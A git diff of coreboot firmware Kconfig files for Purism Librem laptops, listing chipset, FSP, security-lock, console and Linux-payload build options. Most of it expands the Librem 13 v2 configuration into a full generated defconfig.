+CONFIG_PARALLEL_MP=y +CONFIG_PARALLEL_MP_AP_WORK=y +CONFIG_XAPIC_ONLY=y +# CONFIG_X2APIC_ONLY is not set +# CONFIG_X2APIC_RUNTIME is not set +# CONFIG_X2APIC_LATE_WORKAROUND is not set +CONFIG_UDELAY_TSC=y +CONFIG_TSC_MONOTONIC_TIMER=y +CONFIG_HAVE_SMI_HANDLER=y +CONFIG_SMM_TSEG=y +CONFIG_SMM_PCI_RESOURCE_STORE_NUM_SLOTS=8 +CONFIG_AP_STACK_SIZE=0x800 +CONFIG_SMP=y +CONFIG_SSE=y +CONFIG_SSE2=y +CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y +CONFIG_USE_CPU_MICROCODE_CBFS_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_BINS=y +# CONFIG_CPU_MICROCODE_CBFS_EXTERNAL_HEADER is not set +# CONFIG_CPU_MICROCODE_CBFS_NONE is not set CONFIG_CPU_UCODE_BINARIES="3rdparty/purism-blobs/mainboard/purism/librem_jsl/cpu_microcode_blob.bin" + +# +# Northbridge +# + +# +# Southbridge +# +# CONFIG_PCIEXP_HOTPLUG is not set +CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y +CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS=y +CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE=y +# CONFIG_VALIDATE_INTEL_DESCRIPTOR is not set +CONFIG_FIXED_RCBA_MMIO_BASE=0xfed1c000 +CONFIG_RCBA_LENGTH=0x4000 + +# +# Super I/O +# + +# +# Embedded Controllers +# +CONFIG_EC_ACPI=y + +# +# Intel Firmware +# CONFIG_HAVE_ME_BIN=y +# CONFIG_STITCH_ME_BIN is not set +# CONFIG_ME_REGION_ALLOW_CPU_READ_ACCESS is not set +# CONFIG_DO_NOT_TOUCH_DESCRIPTOR_REGION is not set +# CONFIG_LOCK_MANAGEMENT_ENGINE is not set +CONFIG_UNLOCK_FLASH_REGIONS=y +CONFIG_UDK_BASE=y +CONFIG_UDK_202005_BINDING=y +CONFIG_UDK_2013_VERSION=2013 +CONFIG_UDK_2017_VERSION=2017 +CONFIG_UDK_202005_VERSION=202005 +CONFIG_UDK_202302_VERSION=202302 +CONFIG_UDK_VERSION=202005 +CONFIG_ARCH_X86=y +CONFIG_ARCH_BOOTBLOCK_X86_32=y +CONFIG_ARCH_VERSTAGE_X86_32=y +CONFIG_ARCH_ROMSTAGE_X86_32=y +CONFIG_ARCH_POSTCAR_X86_32=y +CONFIG_ARCH_RAMSTAGE_X86_32=y +CONFIG_ARCH_ALL_STAGES_X86_32=y +CONFIG_RESERVED_PHYSICAL_ADDRESS_BITS_SUPPORT=y +CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y +CONFIG_POSTRAM_CBFS_CACHE_IN_BSS=y +CONFIG_RAMSTAGE_CBFS_CACHE_SIZE=0x4000 +CONFIG_PC80_SYSTEM=y +CONFIG_POSTCAR_STAGE=y +CONFIG_BOOTBLOCK_SIMPLE=y +# CONFIG_BOOTBLOCK_NORMAL is not set +CONFIG_COLLECT_TIMESTAMPS_TSC=y +CONFIG_IDT_IN_EVERY_STAGE=y +CONFIG_HAVE_CF9_RESET=y +CONFIG_DEBUG_HW_BREAKPOINTS=y +CONFIG_DEBUG_HW_BREAKPOINTS_IN_ALL_STAGES=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS=y +CONFIG_DEBUG_NULL_DEREF_BREAKPOINTS_IN_ALL_STAGES=y +# CONFIG_DUMP_SMBIOS_TYPE17 is not set +# end of Chipset + +# +# Devices +# +CONFIG_HAVE_LINEAR_FRAMEBUFFER=y +CONFIG_HAVE_FSP_GOP=y +# CONFIG_VGA_ROM_RUN is not set +CONFIG_RUN_FSP_GOP=y +# CONFIG_NO_GFX_INIT is not set +CONFIG_NO_EARLY_GFX_INIT=y + +# +# Display +# +CONFIG_GENERIC_LINEAR_FRAMEBUFFER=y +CONFIG_LINEAR_FRAMEBUFFER=y CONFIG_BOOTSPLASH=y +CONFIG_HEAP_SIZE=0x400000 +# end of Display + +CONFIG_PCI=y +CONFIG_ECAM_MMCONF_SUPPORT=y +CONFIG_PCIX_PLUGIN_SUPPORT=y +CONFIG_AZALIA_HDA_CODEC_SUPPORT=y +CONFIG_AZALIA_LOCK_DOWN_R_WO_GCAP=y +CONFIG_PCIEXP_PLUGIN_SUPPORT=y +CONFIG_ECAM_MMCONF_LENGTH=0x10000000 +CONFIG_PCI_ALLOW_BUS_MASTER=y +CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y +CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y +# CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set +# CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set +# CONFIG_EARLY_PCI_BRIDGE is not set +CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 +CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 +CONFIG_INTEL_GMA_HAVE_VBT=y +CONFIG_INTEL_GMA_ADD_VBT=y +# CONFIG_SOFTWARE_I2C is not set +CONFIG_I2C_TRANSFER_TIMEOUT_US=500000 +CONFIG_RESOURCE_ALLOCATION_TOP_DOWN=y +# end of Devices + +# +# Generic Drivers +# +CONFIG_CRB_TPM_BASE_ADDRESS=0xfed40000 +# CONFIG_DRIVERS_EFI_VARIABLE_STORE is not set +# CONFIG_ELOG is not set +CONFIG_CACHE_MRC_SETTINGS=y +CONFIG_MRC_SETTINGS_PROTECT=y +# CONFIG_SMMSTORE is not set +CONFIG_SPI_FLASH=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP=y +CONFIG_BOOT_DEVICE_SPI_FLASH_RW_NOMMAP_EARLY=y +# CONFIG_SPI_FLASH_NO_FAST_READ is not set +CONFIG_NO_UART_ON_SUPERIO=y +# CONFIG_DRIVERS_UART_OXPCIE is not set +# CONFIG_VPD is not set +CONFIG_DRIVERS_GENERIC_CBFS_SERIAL=y +# CONFIG_DRIVERS_GENERIC_CBFS_UUID is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9750 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9755 is not set +# CONFIG_DRIVERS_GENESYSLOGIC_GL9763E is not set +CONFIG_DRIVERS_I2C_DESIGNWARE=y +CONFIG_DRIVERS_I2C_GENERIC=y +CONFIG_DRIVERS_I2C_HID=y +# CONFIG_DRIVERS_I2C_MAX98396 is not set +CONFIG_HAVE_DPTF_EISA_HID=y +# CONFIG_DISPLAY_HOBS is not set +# CONFIG_DISPLAY_UPD_DATA is not set +CONFIG_PLATFORM_USES_FSP2_0=y +CONFIG_PLATFORM_USES_FSP2_1=y +CONFIG_PLATFORM_USES_FSP2_2=y +CONFIG_PLATFORM_USES_FSP2_X86_32=y CONFIG_ADD_FSP_BINARIES=y +CONFIG_FSP_T_LOCATION=0xfffe0000 +CONFIG_FSP_S_CBFS="fsps.bin" +CONFIG_FSP_M_CBFS="fspm.bin" +# CONFIG_FSP_FULL_FD is not set +CONFIG_FSP_T_RESERVED_SIZE=0x0 +CONFIG_FSP_M_XIP=y +CONFIG_FSP_USES_CB_STACK=y +CONFIG_FSP_COMPRESS_FSP_S_LZ4=y +CONFIG_FSP_STATUS_GLOBAL_RESET_REQUIRED_3=y +CONFIG_FSP_STATUS_GLOBAL_RESET=0x40000003 +CONFIG_SOC_INTEL_COMMON_FSP_RESET=y +CONFIG_USE_FSP_NOTIFY_PHASE_POST_PCI_ENUM=y +CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y +CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y +# CONFIG_DISPLAY_FSP_TIMESTAMPS is not set +CONFIG_INTEL_GMA_ACPI=y +CONFIG_VBT_CBFS_COMPRESSION_LZMA=y +# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set +# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set +CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" +# CONFIG_DRIVERS_NXP_UWB_SR1XX is not set +# CONFIG_DRIVERS_PS2_KEYBOARD is not set +CONFIG_DRIVERS_MC146818=y +CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 +# CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_USB_ACPI=y +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y +CONFIG_MP_SERVICES_PPI=y +CONFIG_MP_SERVICES_PPI_V1=y +# end of Generic Drivers + +# +# Security +# + +# +# CBFS verification +# +# CONFIG_CBFS_VERIFICATION is not set +# end of CBFS verification + +# +# Verified Boot (vboot) +# +# end of Verified Boot (vboot) + +# +# Trusted Platform Module +# +CONFIG_NO_TPM=y +CONFIG_PCR_BOOT_MODE=1 +CONFIG_PCR_HWID=1 +CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 +CONFIG_PCR_RUNTIME_DATA=3 +# end of Trusted Platform Module + +# +# Memory initialization +# +CONFIG_PLATFORM_HAS_DRAM_CLEAR=y +# CONFIG_SECURITY_CLEAR_DRAM_ON_REGULAR_BOOT is not set +# end of Memory initialization + +# CONFIG_STM is not set +# CONFIG_INTEL_CBNT_SUPPORT is not set +CONFIG_BOOTMEDIA_LOCK_NONE=y +# CONFIG_BOOTMEDIA_LOCK_CONTROLLER is not set +# CONFIG_BOOTMEDIA_LOCK_CHIP is not set +# CONFIG_BOOTMEDIA_SMM_BWP is not set +# end of Security + +CONFIG_ACPI_HAVE_PCAT_8259=y +CONFIG_ACPI_INTEL_HARDWARE_SLEEP_VALUES=y +CONFIG_ACPI_SOC_NVS=y +CONFIG_ACPI_CUSTOM_MADT=y +CONFIG_ACPI_NO_CUSTOM_MADT=y +CONFIG_ACPI_COMMON_MADT_LAPIC=y +CONFIG_ACPI_COMMON_MADT_IOAPIC=y +CONFIG_HAVE_ACPI_TABLES=y +CONFIG_ACPI_LPIT=y +CONFIG_BOOT_DEVICE_SPI_FLASH=y +CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y +CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y +CONFIG_RTC=y + +# +# Console +# +CONFIG_BOOTBLOCK_CONSOLE=y +CONFIG_POSTCAR_CONSOLE=y +CONFIG_SQUELCH_EARLY_SMP=y +# CONFIG_SPKMODEM is not set +# CONFIG_CONSOLE_NE2K is not set +CONFIG_CONSOLE_CBMEM=y +# CONFIG_CONSOLE_CBMEM_DUMP_TO_UART is not set +# CONFIG_CONSOLE_SPI_FLASH is not set +# CONFIG_CONSOLE_I2C_SMBUS is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_8 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL_7=y +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_6 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_5 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_4 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_3 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_2 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_1 is not set +# CONFIG_DEFAULT_CONSOLE_LOGLEVEL_0 is not set +CONFIG_DEFAULT_CONSOLE_LOGLEVEL=7 +CONFIG_CONSOLE_USE_LOGLEVEL_PREFIX=y +CONFIG_CONSOLE_USE_ANSI_ESCAPES=y +CONFIG_HWBASE_DEBUG_CB=y +# end of Console + +CONFIG_ACPI_S1_NOT_SUPPORTED=y +CONFIG_HAVE_ACPI_RESUME=y +CONFIG_RESUME_PATH_SAME_AS_BOOT=y +CONFIG_HAVE_MONOTONIC_TIMER=y +CONFIG_IOAPIC=y + +# +# System tables +# +CONFIG_GENERATE_SMBIOS_TABLES=y +CONFIG_BIOS_VENDOR="coreboot" +CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" +# end of System tables + +# +# Payload +# +# CONFIG_PAYLOAD_NONE is not set +# CONFIG_PAYLOAD_ELF is not set +# CONFIG_PAYLOAD_BOOTBOOT is not set +# CONFIG_PAYLOAD_FILO is not set +# CONFIG_PAYLOAD_GRUB2 is not set +# CONFIG_PAYLOAD_SEAGRUB is not set +# CONFIG_PAYLOAD_LINUXBOOT is not set +# CONFIG_PAYLOAD_SEABIOS is not set +# CONFIG_PAYLOAD_UBOOT is not set +# CONFIG_PAYLOAD_EDK2 is not set CONFIG_PAYLOAD_LINUX=y CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" +CONFIG_PAYLOAD_OPTIONS="" +# CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set +CONFIG_COMPRESS_SECONDARY_PAYLOAD=y + +# +# Secondary Payloads +# +# CONFIG_COREINFO_SECONDARY_PAYLOAD is not set +# CONFIG_GRUB2_SECONDARY_PAYLOAD is not set +# CONFIG_MEMTEST_SECONDARY_PAYLOAD is not set +# CONFIG_SEABIOS_SECONDARY_PAYLOAD is not set +# CONFIG_TINT_SECONDARY_PAYLOAD is not set +# CONFIG_COREDOOM_SECONDARY_PAYLOAD is not set +# end of Secondary Payloads +# end of Payload + +# +# Debugging +# + +# +# CPU Debug Settings +# +# CONFIG_DISPLAY_MTRRS is not set + +# +# Vendorcode Debug Settings +# + +# +# BLOB Debug Settings +# +# CONFIG_DISPLAY_FSP_CALLS_AND_STATUS is not set +# CONFIG_DISPLAY_FSP_HEADER is not set +# CONFIG_VERIFY_HOBS is not set +# CONFIG_DISPLAY_FSP_VERSION_INFO is not set +CONFIG_DISPLAY_FSP_VERSION_INFO_2=y +# CONFIG_ENABLE_FSP_ERROR_INFO is not set +CONFIG_HAVE_GPIO_SNAPSHOT_VERIFY_SUPPORT=y +# CONFIG_CHECK_GPIO_CONFIG_CHANGES is not set + +# +# General Debug Settings +# +# CONFIG_FATAL_ASSERTS is not set +CONFIG_HAVE_DEBUG_GPIO=y +# CONFIG_DEBUG_GPIO is not set +# CONFIG_DEBUG_CBFS is not set +CONFIG_HAVE_DEBUG_SMBUS=y +# CONFIG_DEBUG_SMBUS is not set +# CONFIG_DEBUG_MALLOC is not set +# CONFIG_DEBUG_CONSOLE_INIT is not set +# CONFIG_DEBUG_SPI_FLASH is not set +# CONFIG_DEBUG_BOOT_STATE is not set +# CONFIG_DEBUG_ADA_CODE is not set +CONFIG_HAVE_EM100_SUPPORT=y +# CONFIG_EM100 is not set +# CONFIG_DEBUG_ACPICA_COMPATIBLE is not set +# end of Debugging + +CONFIG_HAVE_SPD_IN_CBFS=y +CONFIG_DECOMPRESS_OFAST=y +CONFIG_WARNINGS_ARE_ERRORS=y +CONFIG_MAX_REBOOT_CNT=3 +CONFIG_RELOCATABLE_MODULES=y +CONFIG_GENERIC_GPIO_LIB=y +CONFIG_HAVE_BOOTBLOCK=y +CONFIG_HAVE_ROMSTAGE=y +CONFIG_HAVE_RAMSTAGE=y diff --git a/config/coreboot-librem_13v2.config b/config/coreboot-librem_13v2.config index fcbb11214..57aeb2933 100644 --- a/config/coreboot-librem_13v2.config +++ b/config/coreboot-librem_13v2.config @@ -1,21 +1,797 @@ +# +# Automatically generated file; DO NOT EDIT. +# coreboot configuration +# + +# +# General setup +# +CONFIG_COREBOOT_BUILD=y +CONFIG_LOCALVERSION="" +CONFIG_CBFS_PREFIX="fallback" +CONFIG_COMPILER_GCC=y +# CONFIG_COMPILER_LLVM_CLANG is not set +CONFIG_ARCH_SUPPORTS_CLANG=y +# CONFIG_ANY_TOOLCHAIN is not set +# CONFIG_CCACHE is not set +# CONFIG_IWYU is not set +# CONFIG_FMD_GENPARSER is not set +# CONFIG_UTIL_GENPARSER is not set +CONFIG_OPTION_BACKEND_NONE=y +CONFIG_COMPRESS_RAMSTAGE_LZMA=y +# CONFIG_COMPRESS_RAMSTAGE_LZ4 is not set +CONFIG_SEPARATE_ROMSTAGE=y +CONFIG_INCLUDE_CONFIG_FILE=y +CONFIG_COLLECT_TIMESTAMPS=y +# CONFIG_TIMESTAMPS_ON_CONSOLE is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set +# CONFIG_COVERAGE is not set +# CONFIG_UBSAN is not set +CONFIG_HAVE_ASAN_IN_RAMSTAGE=y +# CONFIG_ASAN is not set +# CONFIG_NO_STAGE_CACHE is not set +CONFIG_TSEG_STAGE_CACHE=y +# CONFIG_UPDATE_IMAGE is not set CONFIG_BOOTSPLASH_IMAGE=y CONFIG_BOOTSPLASH_FILE="@BRAND_DIR@/bootsplash.jpg" CONFIG_BOOTSPLASH_CONVERT=y CONFIG_BOOTSPLASH_CONVERT_QUALITY=70 +# CONFIG_BOOTSPLASH_CONVERT_RESIZE is not set +# CONFIG_BOOTSPLASH_CONVERT_COLORSWAP is not set +# CONFIG_FW_CONFIG is not set + +# +# Software Bill Of Materials (SBOM) +# +# CONFIG_SBOM is not set +# end of Software Bill Of Materials (SBOM) +# end of General setup + +# +# Mainboard +# + +# +# Important: Run 'make distclean' before switching boards +# +# CONFIG_VENDOR_51NB is not set +# CONFIG_VENDOR_ACER is not set +# CONFIG_VENDOR_ADLINK is not set +# CONFIG_VENDOR_AMD is not set +# CONFIG_VENDOR_AOPEN is not set +# CONFIG_VENDOR_APPLE is not set +# CONFIG_VENDOR_ASROCK is not set +# CONFIG_VENDOR_ASUS is not set +# CONFIG_VENDOR_BIOSTAR is not set +# CONFIG_VENDOR_BOSTENTECH is not set +# CONFIG_VENDOR_BYTEDANCE is not set +# CONFIG_VENDOR_CAVIUM is not set +# CONFIG_VENDOR_CLEVO is not set +# CONFIG_VENDOR_COMPULAB is not set +# CONFIG_VENDOR_DELL is not set +# CONFIG_VENDOR_EMULATION is not set +# CONFIG_VENDOR_EXAMPLE is not set +# CONFIG_VENDOR_FACEBOOK is not set +# CONFIG_VENDOR_FOXCONN is not set +# CONFIG_VENDOR_GETAC is not set +# CONFIG_VENDOR_GIGABYTE is not set +# CONFIG_VENDOR_GOOGLE is not set +# CONFIG_VENDOR_HP is not set +# CONFIG_VENDOR_IBASE is not set +# CONFIG_VENDOR_IBM is not set +# CONFIG_VENDOR_INTEL is not set +# CONFIG_VENDOR_INVENTEC is not set +# CONFIG_VENDOR_KONTRON is not set +# CONFIG_VENDOR_LENOVO is not set +# CONFIG_VENDOR_LIBRETREND is not set +# CONFIG_VENDOR_MSI is not set +# CONFIG_VENDOR_OCP is not set +# CONFIG_VENDOR_OPENCELLULAR is not set +# CONFIG_VENDOR_PACKARDBELL is not set +# CONFIG_VENDOR_PCENGINES is not set +# CONFIG_VENDOR_PINE64 is not set +# CONFIG_VENDOR_PORTWELL is not set +# CONFIG_VENDOR_PRODRIVE is not set +# CONFIG_VENDOR_PROTECTLI is not set CONFIG_VENDOR_PURISM=y +# CONFIG_VENDOR_RAZER is not set +# CONFIG_VENDOR_RODA is not set +# CONFIG_VENDOR_SAMSUNG is not set +# CONFIG_VENDOR_SAPPHIRE is not set +# CONFIG_VENDOR_SIEMENS is not set +# CONFIG_VENDOR_SIFIVE is not set +# CONFIG_VENDOR_STARLABS is not set +# CONFIG_VENDOR_SUPERMICRO is not set +# CONFIG_VENDOR_SYSTEM76 is not set +# CONFIG_VENDOR_TI is not set +# CONFIG_VENDOR_UP is not set +CONFIG_MAINBOARD_FAMILY="Librem 13" +CONFIG_MAINBOARD_PART_NUMBER="Librem 13 v2" +CONFIG_MAINBOARD_VERSION="1.0" +CONFIG_MAINBOARD_DIR="purism/librem_skl" +CONFIG_VGA_BIOS_ID="8086,1916" +CONFIG_DIMM_MAX=1 +CONFIG_DIMM_SPD_SIZE=512 +CONFIG_FMDFILE="" +CONFIG_NO_POST=y +CONFIG_MAINBOARD_VENDOR="Purism" +CONFIG_CBFS_SIZE=0xe00000 CONFIG_LINEAR_FRAMEBUFFER_MAX_HEIGHT=2160 CONFIG_LINEAR_FRAMEBUFFER_MAX_WIDTH=3840 +CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_DUAL=y +CONFIG_MAINBOARD_SUPPORTS_KABYLAKE_QUAD=y +CONFIG_MAX_CPUS=8 +# CONFIG_ONBOARD_VGA_IS_PRIMARY is not set +CONFIG_DEVICETREE="devicetree.cb" +# CONFIG_VBOOT is not set +CONFIG_VARIANT_DIR="librem13" +CONFIG_OVERRIDE_DEVICETREE="variants/$(CONFIG_VARIANT_DIR)/overridetree.cb" +# CONFIG_VGA_BIOS is not set +CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="Purism" +CONFIG_INTEL_GMA_VBT_FILE="src/mainboard/$(MAINBOARDDIR)/data.vbt" +CONFIG_DISABLE_HECI1_AT_PRE_BOOT=y +CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 +CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 +CONFIG_TPM_PIRQ=0x0 +CONFIG_USE_PM_ACPI_TIMER=y +CONFIG_ECAM_MMCONF_BASE_ADDRESS=0xe0000000 +CONFIG_ECAM_MMCONF_BUS_NUMBER=256 +CONFIG_MEMLAYOUT_LD_FILE="src/arch/x86/memlayout.ld" +CONFIG_DCACHE_RAM_BASE=0xfef00000 +CONFIG_DCACHE_RAM_SIZE=0x40000 +CONFIG_C_ENV_BOOTBLOCK_SIZE=0x40000 +CONFIG_DCACHE_BSP_STACK_SIZE=0x4000 +CONFIG_MAX_ACPI_TABLE_SIZE_KB=144 +CONFIG_HAVE_INTEL_FIRMWARE=y +CONFIG_MRC_SETTINGS_CACHE_SIZE=0x10000 +CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/descriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_skl/me.bin" +CONFIG_MAINBOARD_SUPPORTS_SKYLAKE_CPU=y +CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_CARDBUS_PLUGIN_SUPPORT=y +CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y +# CONFIG_USE_LEGACY_8254_TIMER is not set +# CONFIG_DEBUG_SMI is not set +CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem 13 v2" +# CONFIG_SOC_INTEL_COMMON_BLOCK_SGX_ENABLE is not set CONFIG_HAVE_IFD_BIN=y +CONFIG_PS2K_EISAID="PNP0303" +CONFIG_PS2M_EISAID="PNP0F13" +CONFIG_GFX_GMA_PANEL_1_PORT="eDP" +# CONFIG_SOC_INTEL_CSE_SEND_EOP_EARLY is not set +CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y +CONFIG_D3COLD_SUPPORT=y +CONFIG_PCIEXP_ASPM=y +CONFIG_PCIEXP_L1_SUB_STATE=y +CONFIG_PCIEXP_CLK_PM=y +CONFIG_GFX_GMA_PANEL_1_ON_EDP=y +# CONFIG_BOARD_PURISM_LIBREM13_V1 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM_MINI is not set +# CONFIG_BOARD_PURISM_LIBREM_MINI_V2 is not set +# CONFIG_BOARD_PURISM_LIBREM_14 is not set +# CONFIG_BOARD_PURISM_LIBREM_11 is not set +# CONFIG_BOARD_PURISM_LIBREM_L1UM_V2 is not set CONFIG_BOARD_PURISM_LIBREM13_V2=y +# CONFIG_BOARD_PURISM_LIBREM15_V3 is not set +# CONFIG_BOARD_PURISM_LIBREM13_V4 is not set +# CONFIG_BOARD_PURISM_LIBREM15_V4 is not set +# CONFIG_DRIVERS_UART_8250IO is not set +CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 +CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y +CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" +CONFIG_BOARD_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_5120 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set +CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set +CONFIG_COREBOOT_ROMSIZE_KB=16384 +CONFIG_ROM_SIZE=0x01000000 +CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y +CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y +# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set +CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set +CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +# end of Mainboard + +CONFIG_SYSTEM_TYPE_LAPTOP=y + +# +# Chipset +# + +# +# SoC +# +CONFIG_CHIPSET_DEVICETREE="soc/intel/skylake/chipset.cb" +CONFIG_FSP_M_FILE="$(obj)/Fsp_M.fd" +CONFIG_FSP_S_FILE="$(obj)/Fsp_S.fd" +CONFIG_CBFS_MCACHE_SIZE=0x4000 +CONFIG_ROMSTAGE_ADDR=0x2000000 +CONFIG_VERSTAGE_ADDR=0x2000000 +CONFIG_SMM_TSEG_SIZE=0x800000 +CONFIG_SMM_RESERVED_SIZE=0x200000 +CONFIG_SMM_MODULE_STACK_SIZE=0x800 +CONFIG_ACPI_BERT_SIZE=0x0 +CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 +CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 +CONFIG_ACPI_CPU_STRING="CP%02X" +CONFIG_STACK_SIZE=0x2000 +CONFIG_IFD_CHIPSET="sklkbl" +CONFIG_IED_REGION_SIZE=0x400000 +CONFIG_MAX_ROOT_PORTS=24 +CONFIG_PCR_BASE_ADDRESS=0xfd000000 +CONFIG_CPU_BCLK_MHZ=100 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_CLOCK_MHZ=120 +CONFIG_CPU_XTAL_HZ=24000000 +CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=2 +CONFIG_SOC_INTEL_I2C_DEV_MAX=6 +# CONFIG_ENABLE_SATA_TEST_MODE is not set +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 +CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 +CONFIG_FSP_HEADER_PATH="3rdparty/fsp/KabylakeFspBinPkg/Include/" +CONFIG_FSP_FD_PATH="3rdparty/fsp/KabylakeFspBinPkg/Fsp.fd" +CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8254 +CONFIG_INTEL_GMA_BCLV_WIDTH=16 +CONFIG_INTEL_GMA_BCLM_OFFSET=0xc8256 +CONFIG_INTEL_GMA_BCLM_WIDTH=16 +CONFIG_MAX_HECI_DEVICES=5 +CONFIG_BOOTBLOCK_IN_CBFS=y +CONFIG_HAVE_PAM0_REGISTER=y +CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 +CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 +CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 +CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 +CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 +CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y +CONFIG_SOC_INTEL_SKYLAKE=y +CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y +CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 +CONFIG_CBFS_CACHE_ALIGN=8 +CONFIG_SOC_INTEL_COMMON=y + +# +# Intel SoC Common Code for IP blocks +# +CONFIG_SOC_INTEL_COMMON_BLOCK=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_GPIO=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_LPIT=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_PEP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_ACPI_CPPC=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CHIP_CONFIG=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU=y +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_MPINIT=y +CONFIG_USE_FSP_FEATURE_PROGRAM_ON_APS=y +# CONFIG_USE_COREBOOT_MP_INIT is not set +CONFIG_SOC_INTEL_COMMON_BLOCK_CPU_SMMRELOCATE=y 